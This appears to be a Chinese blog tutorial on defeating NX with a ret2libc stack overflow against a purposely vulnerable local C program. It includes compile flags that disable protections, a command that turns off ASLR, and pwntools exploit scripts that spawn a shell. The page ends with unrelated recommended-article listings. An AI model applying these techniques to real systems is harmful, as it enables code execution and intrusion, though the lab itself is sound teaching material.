程序:
1.c

#include <stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0,str,0x50);
}
int main()
{func();return 0;
}

0x01 NX介绍

溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段,转而让系统去执行。

NX缓解机制开启后,使某些内存区域不可执行,并使可执行区域不可写。示例:使数据,堆栈和堆段不可执行,而代码段不可写。

2. 编译

gcc -Wall -g -o nx 1.c -fno-stack-protector -m32

没有使用 -z execstack ,所以数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

关闭ASLR

echo 0 > /proc/sys/kernel/randomize_va_space


我们用下面的程序执行获取权限,将会报错(我试了,这里就不贴图了),因为开启了NX保护机制。这是关闭NX获取权限的,我写在这篇文章上了:
https://blog.csdn.net/qq_41683305/article/details/105014197

from pwn import *
p=process('./nx')
offset = 0x28+0x4
payload ='a'*offset+p32(0x8049172)
p.sendline(payload)
p.interactive()

0x03 原因

运行起nx,并保持运行状态,新打开一个终端,输入ps -a,查看nx的pid,然后执行cat /proc/52799/maps

发现stack不可以执行,我们的shellcode不可以执行了

0x04 ret2libc

ret2libc即控制函数执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。
一般情况下,我们会选择执行system("/bin/sh"),在不存在ASLR(地址随机化)的情况下,可以直接通过调试获得system的函数地址以及“/bin/sh”的地址 。

布局完成后,返回地址return_addr被覆盖为libc文件里的system函数地址,当运行到esp位置时,会跳转到system中执行,同时,esp指向esp+4,这时对system来说,它内部的ret(返回地址)执行时esp指针还是指向esp+4的,也就是esp + 4(0xdeadbeef)就是system函数的返回地址,而esp+8则是它的参数

注:对于不想使程序崩溃,可以将esp+4的覆盖为exit函数的地址

0x06 找地址

先执行start,运行我们的程序,然后输入下图内容,找到system和exit地址

接着找/bin/sh地址

我用的是第一个地址,成功了,后面两个我没有尝试
三个地址都找到了,修改我们的poc程序:
1.py

# -*- coding: utf-8 -*-
from pwn import *
p=process('./nx')
offset = 0x28+0x4
payload ='a'*offset+p32(0xf7e13660)
payload+=p32(0xf7e066f0)
payload+=p32(0x56557008)
p.sendline(payload)
p.interactive()

接着执行,成功获取权限

0x08 总结

Ret2Libc虽然把数据放在了不具备可执行权限的栈上,但成功执行了shellcode,这是因为只是把输入数据当做纯数据来间接劫持程序的执行流。

这个程序的成功执行得利于关闭ASLR,system和exit函数的地址才能固定下来。我们构造poc才方便很多。

ret2libc的精髓之处在于,把ret addr修改成libc库中的函数地址,并且构造了system函数的参数。对于DEP防御来说,你不让我执行我的代码,我就利用你的函数达到我的目的。这边是面向返回编程的设计思路。

参考:

https://www.jianshu.com/p/c90530c910b0
https://blog.csdn.net/counsellor/article/details/81986052?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

NX机制及绕过策略-ret2libc相关推荐

  1. Windows内存保护机制及绕过方法

    0 目录 GS编译 SafeSEH机制 SEH覆盖保护 数据执行保护(DEP) 地址随机化(ASLR) 1 GS编译 1.1 基本原理 Windows操作系统为解决栈溢出漏洞的问题引入了一个对策--G ...

  2. 基于UDS的汽车通信故障诊断机制与处理策略

    基于UDS的汽车通信故障诊断机制与处理策略 2015-06-10 22:12:34|  分类: AUTOSAR_|举报|字号 订阅 下载LOFTER 我的照片书  | 摘要:阐述一种诊断控制单元之间通 ...

  3. iOS SDWebImage 缓存机制与缓存策略

    2019独角兽企业重金招聘Python工程师标准>>> 一.SDWebImage 缓存机制 1.基本用法 SDWebImage提供一个UIImageView的Category,用来加 ...

  4. 彻底弄懂 HTTP 缓存机制 —— 基于缓存策略三要素分解法

    导语 HTTP 缓存机制作为 Web 性能优化的重要手段,对从事 Web 开发的小伙伴们来说是必须要掌握的知识,但最近我遇到了几个缓存头设置相关的题目,发现有好几道题答错了,有的甚至在知道了正确答案后 ...

  5. WAF机制及绕过方法总结:注入篇

    本篇文章主要介绍WAF的一些基本原理,总结常见的SQL注入Bypass WAF技巧.WAF是专门为保护基于Web应用程序而设计的,我们研究WAF绕过的目的一是帮助安服人员了解渗透测试中的测试技巧,而是 ...

  6. 【腾讯Bugly干货分享】彻底弄懂 Http 缓存机制 - 基于缓存策略三要素分解法

    本文来自于腾讯Bugly公众号(weixinBugly),未经作者同意,请勿转载,原文地址:https://mp.weixin.qq.com/s/qOMO0LIdA47j3RjhbCWUEQ 作者:李 ...

  7. Redis的持久化机制、过期策略、淘汰策略

    文章目录 一.持久化机制 1. RDB机制 2. AOF机制 RDB的优缺点 AOF的优缺点 持久化机制选择 二.过期策略 常见过期策略 Redis过期策略 1. 定期删除 2. 惰性删除 RDB对过 ...

  8. kafka 安装使用 /springboot整合kafka /消息投递机制以及存储策略 /副本处理机制

    一.背景 1.基本信息 Kafka是由Apache软件基金会开发的一个开源流处理平台,由Scala和Java编写.Kafka是一种高吞吐量的分布式发布订阅消息系统,它可以处理消费者在网站中的所有动作流 ...

  9. 2021年大数据Flink(二十八):Flink 容错机制 自动重启策略和恢复

    目录 自动重启策略和恢复 重启策略配置方式 重启策略分类 代码演示 手动重启并恢复-了解 1.把程序打包 2.启动Flink集群(本地单机版,集群版都可以) 3.访问webUI 4.使用FlinkWe ...

最新文章

  1. vscode 高效使用指南
  2. 某大型银行深化系统之二十:异常规范
  3. python3 collections模块_Python3之collections模块
  4. 每天一个linux命令(2):cd命令
  5. springmvc二十:数据绑定
  6. http消息当中,post和get两种请求方式的区别
  7. 苹果MacOS系统上安装第三方驱动失败/无效
  8. [密码学基础][每个信息安全博士生应该知道的52件事][Bristol Cryptography][第19篇]Shamir密钥交换场景
  9. SpringCloud工作笔记066---断路器(Curcuit Breaker)模式
  10. 怎么用命令开远程主机的telnet服务1
  11. 通俗易懂讲解Java线程安全
  12. 服务端开发所需技能归纳
  13. 红米5a android,红米5A值得买吗?红米5A测评告诉你(附全文)
  14. java 线程安全集合
  15. DES、3DES、AES以及RSA加密介绍
  16. 《打造Facebook》 读书报告
  17. java 根据数据库中存储的文件名批量修改本地文件的文件名后缀名
  18. AutoCAD VBA二次开发地形图多边形裁剪
  19. Latex学习笔记——总篇(入门、图片、表格、数学公式、伪代码、代码块、参考文献)
  20. IT战略规划之流程再造

热门文章

  1. table 设置边框
  2. 点击底部input输入框,弹出的软键盘挡住input(苹果手机使用第三方输入法 )
  3. 使用prismjs为网站添加代码高亮功能
  4. babel6和babel7中关于polyfill和preset-env和babel-plugin-transform-runtime等总结
  5. python中的PEP是什么?怎么理解?(转)
  6. 原生js封装table表格操作,获取任意行列td,任意单行单列方法
  7. Codeforces Round #102 (Div. 1) A. Help Farmer 暴力分解
  8. python2.7虚拟环境virtualenv安装及使用
  9. for,foreach,iterator的用法和区别
  10. elasticsearch 条件去重_elasticsearch 笔记四 之聚合查询之去重计数、基础统计、百分位、字符串统计...